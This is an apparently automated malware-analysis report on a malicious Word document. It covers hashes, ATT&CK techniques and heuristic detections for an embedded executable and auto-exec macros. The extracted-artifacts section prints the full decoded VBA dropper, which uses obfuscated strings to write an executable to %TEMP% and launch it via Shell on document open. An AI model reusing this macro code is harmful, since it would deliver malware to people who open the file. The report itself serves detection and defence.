Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 90c1d48d41c2660e…

MALICIOUS

Office (OLE)

252.5 KB Created: 2016-01-21 22:06:00 Authoring application: Microsoft Office Word First seen: 2017-11-20
MD5: ffef39d50552e76d38178ade5fefc9f8 SHA-1: c3df66cd7a5d3e242fc054205c4e74b1ae085b82 SHA-256: 90c1d48d41c2660eca4babeaa2bd6a31e53d723d4bc4286fc9aa6b303a8f97f3
694 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1137.002 Office Application Startup T1204.002 Malicious File T1027 Obfuscated Files or Information T1105 Ingress Tool Transfer

The sample contains obfuscated VBA macros that utilize `CreateObject` and `Shell` functions to execute an embedded PE executable. The macro attempts to save the embedded executable to a temporary location and then execute it. The embedded executable is saved as `embedded_office_00004a6a.exe` and is likely the second-stage payload. The macro also attempts to establish persistence by writing to the Run key `HKCU\Software\Microsoft\Windows\CurrentVersion\Run\IAccessible2Proxy`.

Heuristics 20

  • OLE with Ole10Native — possible CVE-2026-21514 exploitation high CVE likely CVE_2026_21514
    Document contains a Word OLE object with Ole10Native plus executable, PE, or risky remote-link indicators. CVE-2026-21514 exploits OLE metadata validation; this stronger structure is treated as likely exploitation.
  • ClamAV: Doc.Macro.ObfuscatedChr-6203136-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.ObfuscatedChr-6203136-0
  • Reference to WriteProcessMemory API critical SC_STR_WRITEPROCESSMEMORY
    Reference to WriteProcessMemory API
  • Embedded PE executable critical OLE_EMBEDDED_EXE
    MZ/PE header found inside document — possible embedded executable
  • Ole10Native package drops an auto-executable payload critical OFFICE_PACKAGE_RISKY_FILE
    OLE Package displayName or fullPath ends in a directly auto-executable extension (a runnable binary or a script the default shell host runs on double-click). Embedding such a payload inside an Office document has no benign authoring use — it is a malware-delivery dropper.
  • VBA macros detected medium 8 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Dim ahfe As Variant
ahfe = Shell(ygef, 0)
End Function
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    SoTytBs (2)
Set ttrtafsVBvsa = CreateObject(Munew(19 + 68) & "or" + "d.A" & "pplication")
ttrtafsVBvsa.Visible = False
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    SoTytBs (2)
Set ttrtafsVBvsa = CreateObject(Munew(19 + 68) & "or" + "d.A" & "pplication")
ttrtafsVBvsa.Visible = False
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Sub
Sub AutoOpen()
    GVHASD = "q;lwdk iqwhdjkqw"
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    End Function
Sub Workbook_Open()
    FFjansaS
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    End Function
Sub Auto_Open()
    FFjansaS
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    TTVVSdDW = "T" & TTVVSdDW & "P"
DGSAHW = Environ(TTVVSdDW) + ERABSDS
DFTWAS = "."
  • Reference to LoadLibrary API high SC_STR_LOADLIBRARY
    Reference to LoadLibrary API
  • Reference to GetProcAddress API high SC_STR_GETPROCADDRESS
    Reference to GetProcAddress API
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.joeblogs.co.uk In document text (OLE body)
    • http://www.learndirect.co.ukIn document text (OLE body)
    • http://www.monster.co.ukIn document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1911 bytes
SHA-256: 0f958143d4985155edc9c7d7e701a0cec6aead737a94b2ee96867e4b5a1364f2
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub NjasbjwS()
    FFjansaS
End Sub
Sub SoTytBs(Jnqj As Long)
Dim YQGDA As String, bhsBsd As Long
Dim Bhsad As Long
Bhsad = Jnqj + Timer
bhsBsd = Bhsad
Do While Timer < bhsBsd
UQWHDB = UQWHDB + ";l12kel j1l2k"
DoEvents
Loop
End Sub
Sub FFjansaS()
Dim fdaa As Integer
Dim QQNCC As String
OIOEJSDA = DatePart("yyyy", "10/11/7541")
OIOEJSDA = Left(OIOEJSDA, 1)
TTVVSdDW = "E" & "M"
fdaa = CInt(OIOEJSDA) - 8
On Error Resume Next
ERABSDS = Left("\d\", 1)
TTVVSdDW = "T" & TTVVSdDW & "P"
DGSAHW = Environ(TTVVSdDW) + ERABSDS
DFTWAS = "."
MONE = DFTWAS + Chr(94 + 8 + fdaa) & "x"
MONE = MONE + Chr(7 + 94)
JNBBH = DFTWAS + "rt" & "f"

TTTDADSS = DGSAHW + "gvnghjas" + JNBBH
RRTFDASD = DGSAHW + "qoiwdj" + JNBBH
QQNCC = DGSAHW + "lof4" & MONE

ForwNs (TTTDADSS)
ForwNs (RRTFDASD)
SoTytBs (2)
Set ttrtafsVBvsa = CreateObject(Munew(19 + 68) & "or" + "d.A" & "pplication")
ttrtafsVBvsa.Visible = False
ttrtafsVBvsa.Documents.Open (TTTDADSS)
SoTytBs (2)
HYUASGD = Module1.Mshduwh(QQNCC)
SoTytBs (1)
ttrtafsVBvsa.Quit
Set ttrtafsVBvsa = Nothing
End Sub
Public Function Munew(eygf As Integer)
    Munew = Chr(eygf)
End Function
Sub Workbook_Open()
    FFjansaS
End Sub
Sub AutoOpen()
    GVHASD = "q;lwdk iqwhdjkqw"
    NjasbjwS
End Sub
Public Function ForwNs(gtyqwd As String)
    ActiveDocument.SaveAs FileName:=gtyqwd, FileFormat:=wdFormatRTF
End Function
Sub Auto_Open()
    FFjansaS
End Sub
















Attribute VB_Name = "Module1"

Public Function Mshduwh(ygef As String)
Dim ahfe As Variant
ahfe = Shell(ygef, 0)
End Function
embedded_office_00004a6a.exe embedded-pe Office MZ+PE at offset 0x4A6A 239510 bytes
SHA-256: 59afb27c81985bfdc1e149f9b970c9a1eb93d392435437618e1df431657eabc9
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved macro source contains an auto-exec entry point and execution/download terms.
ole10native_00.bin ole-package OLE Ole10Native stream: ObjectPool/_1525007934/Ole10Native 192800 bytes
SHA-256: 57ebd043be01e0c512f01db39bd587549ffaf7208ada79aee0eb5a757abce137
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact entropy is 7.41, consistent with packed or encrypted content.

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